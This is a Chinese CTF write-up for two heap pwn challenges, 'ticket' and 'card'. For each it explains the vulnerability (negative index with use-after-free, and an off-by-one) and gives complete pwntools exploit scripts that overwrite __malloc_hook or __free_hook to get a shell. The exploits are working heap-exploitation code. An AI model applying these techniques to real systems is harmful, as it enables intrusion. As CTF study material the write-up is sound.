DASCTF_BUUCTF_May_pwn_wp


DASCTF_BUUCTF_May_pwn_wp

能在buuctf上打比賽還是很舒服的,兩道pwn題比較基礎,wp就隨便寫一下啦!

1、ticket

checksec

image-20210529205152160

運行環境為ubuntu16.04libc-2.23.so

題目分析

常見的菜單題,這里主要分析一下bss段的數據分布:

image-20210529205623751

需要注意的地方有:

  • 可以添加0≤ idx <=5ticket堆塊,但是只能刪除idx < 3ticket堆塊
  • 基本上圍繞ticket的操作都是以heap_size來進行判斷的,而且釋放堆塊后對應的大小會置為0
  • edit_infoshow_info似乎並沒有什么用

漏洞分析

漏洞點在於兩個地方,都在del_ticket函數中。

第一處是未校驗索引大小,使得索引可以為負數。

第二處是存在UAF,可以利用殘留信息泄露出libc地址。釋放堆塊的時候只把存儲size的地方置為了0,指針沒有置空。

image-20210529204826881

利用思路

bss堆布局可以看到,age的值可控,因此可以將age寫為bss地址,然后釋放掉bss_fake_chunk,控制索引為23chunk的大小,可以越界寫。

image-20210529210159875

利用步驟即為:

  • 利用unsorted bin殘留的信息泄露出libc地址
  • 利用del_ticket(-3)釋放bss_fake_chunk
  • 控制chunk的大小,使得能越界寫chunk
  • 利用越界寫,構造一個freed 0x70大小的chunk,修改其fd__malooc_hook - 0x23
  • 利用realloc + one_gadget來獲取shell

最終exp

調試過程

釋放假的chunk

image-20210529214331150

越界修改fd

image-20210529214430684

修改realloc_hookmalloc_hook

image-20210529214528797

from pwn import *

LOG_ADDR = lambda x, y: "{} ---> {}".format(x, hex(y))
sh = process('./ticket')
libc = ELF('./libc-2.23.so')
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

context.update(arch="amd64", endian="little", os='linux')

def welcome(name, saying, age:int):
    sh.sendafter("Your name: \n", name)
    sh.sendafter("what do you want to say before take off(wu hu qi fei): \n", saying)
    sh.sendlineafter("Your age: \n", str(age))


def add_ticket(idx, size):
    sh.sendlineafter(">> ", '1')
    sh.sendlineafter("Index: \n", str(idx))
    sh.sendlineafter("Remarks size: \n", str(size))
    sh.recvline()


def del_ticket(idx):
    sh.sendlineafter(">> ", '2')
    sh.sendlineafter("Index: \n", str(idx))
    sh.recvline()


def edit_ticket(idx, remark):
    sh.sendlineafter(">> ", '3')
    sh.sendlineafter("Index: \n", str(idx))
    sh.sendafter("Your remarks: \n", remark)
    sh.recvline()

def show_ticket(idx):
    sh.sendlineafter(">> ", '4')
    sh.sendlineafter("Index: \n", str(idx))
    msg = sh.recvline()
    log.info("msg recv:{}".format(msg))
    return msg

# construct a fake-chunk at bss segment
welcome("xxxx", "xxxx", 0x6020e0)
add_ticket(1, 0x21) # chunk1
add_ticket(2, 0x100)
add_ticket(3, 0x10)
add_ticket(5, 0x21)

# free fake-chunk
del_ticket(-3)

# re-malloc fake-chunk by chunk0
add_ticket(0, 0x18)

# recover chunk2's size and reset chunk3's size
edit_ticket(0, p64(0x100) + p64(0))

# leak libc addr
del_ticket(2)
add_ticket(2, 0x100)
msg = show_ticket(2)
leak_libc_addr = u64(msg[-7:-1] + b"\x00\x00")
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr

# calc some useful address
target_addr = libc.sym["__malloc_hook"] - 0x23
system_addr = libc.sym['system']
realloc_addr = libc.sym['realloc']
one_gadget = libc.offset_to_vaddr(gadgets[1])

# change chunk2's size to overflow
edit_ticket(0, p64(0x10000))

# get freed 0x70 chunk
del_ticket(1)
add_ticket(1, 0x60)
del_ticket(1)

# change free-chunk's fd-ptr to target_addr
layout = [[0] * 32, 0x110, 0x21, [0] * 3, 0x31, [0] * 5, 0x71, target_addr]
edit_ticket(2, flat(layout))

# fastbin attack
add_ticket(1, 0x60)
add_ticket(3, 0x60)
layout = [0xb * "a", one_gadget, realloc_addr + 0xd]
edit_ticket(3, flat(layout))

# get shell by malloc_hook(one_gadget)
sh.sendlineafter(">> ", "5")

sh.interactive()

遠程打:

image-20210529214744617

2、 card

checksec

image-20210529221936646

運行環境為ubuntu18.04libc-2.27.so

題目分析

寫得花里胡哨的菜單題,有mallocfreeeditshow功能,先來看bss段布局:

image-20210529222539237

分布很簡單,左邊存儲用戶輸入的大小,右邊存儲分配的指針

需要注意的有:

  • 所有的chunk的大小限定在0-256之間
  • 根據libc判斷出來堆會使用tcache bin機制

漏洞分析

call函數存在一個off by one

image-20210529222944848

可以直接把0-256之間的每個數帶進去算一遍,很多數都會使得v0+v1 = v0+1,部分數會讓v1計算得到0

利用思路

帶有tcache bin機制的off by one,直接利用unlink,搞個0x90---0x20---0x90的三明治,然后覆蓋__free_hooksystem,釋放帶有/bin/sh的塊即可獲得shell

詳細利用步驟為:

  • 填滿0x90大小的tcache bin
  • 構造三明治布局,0x90---0x20---0x90
  • 利用off by oneunlink,得到0x140的塊,並包含釋放狀態的0x20的堆塊
  • 利用堆殘留指針泄露出libc地址
  • 修改freed chunk 0x20fd指針為__free_hook地址
  • tcache bin posioning覆蓋__free_hooksystem地址
  • 釋放帶有/bin/sh的塊獲取shell

最終exp

調試過程

off by one修改pre_inuse位:

image-20210529231331105

unlink

image-20210529231440625

泄露地址並修改fd指針:

image-20210529231516464

from pwn import *

LOG_ADDR = lambda x, y: "{} ---> {}".format(x, hex(y))
sh = process('./pwn')
libc = ELF('./libc.so')
context.update(arch="amd64", os='linux', endian="little")

def fight(idx, size, data="a"):
    sh.sendlineafter("choice:", "1")
    sh.sendlineafter("please choice your card:", str(idx))
    sh.sendlineafter("Infuse power:\n", str(size))
    sh.sendafter("quickly!", data)


def call(idx, data):
    sh.sendlineafter("choice:", "2")
    sh.sendlineafter("please choice your card\n", str(idx))
    sh.sendafter("start your bomb show\n", data)

    
def play(idx):
    sh.sendlineafter("choice:", "3")
    sh.sendlineafter("Which card:", str(idx))


def show(idx):
    sh.sendlineafter("choice:", "4")
    sh.sendlineafter("index:", str(idx))
    sh.recvuntil("dedededededede:")
    msg = sh.recvuntil("Dededededededede~~~~~~~~~~\n")
    log.info("msg recv:{}".format(msg))
    return msg


# malloc 7 chunks
for i in range(7):
    fight(i, 0x80)

# get sandwich-chunk
fight(7, 0x80)
fight(8, 0x18)
fight(9, 0x80)
fight(10, 0x10, "/bin/sh\x00") # gap top-chunk

# fulfill tcache bin[0x90]
for i in range(7):
    play(i)

play(7)
# off by one
call(8, b"a" * 0x10 + p64(0xb0) + b"\x90")

# unlink
play(8)
play(9)

# leak_addr
fight(0, 0xa0, "a" * 8)
msg = show(0)
leak_libc_addr = u64(msg[8:16])
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3ebdd0
libc.address = libc_base_addr

# change fd-ptr
call(0, b"a" * 0x88 + p64(0x21) + p64(libc.sym['__free_hook']))

# tcache bin attack
fight(1, 0x10)
fight(2, 0x10, p64(libc.sym['system']))

# get shell
play(10)

sh.interactive()

遠程打:

image-20210529231636060

博客地址

https://roderickchan.github.io/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM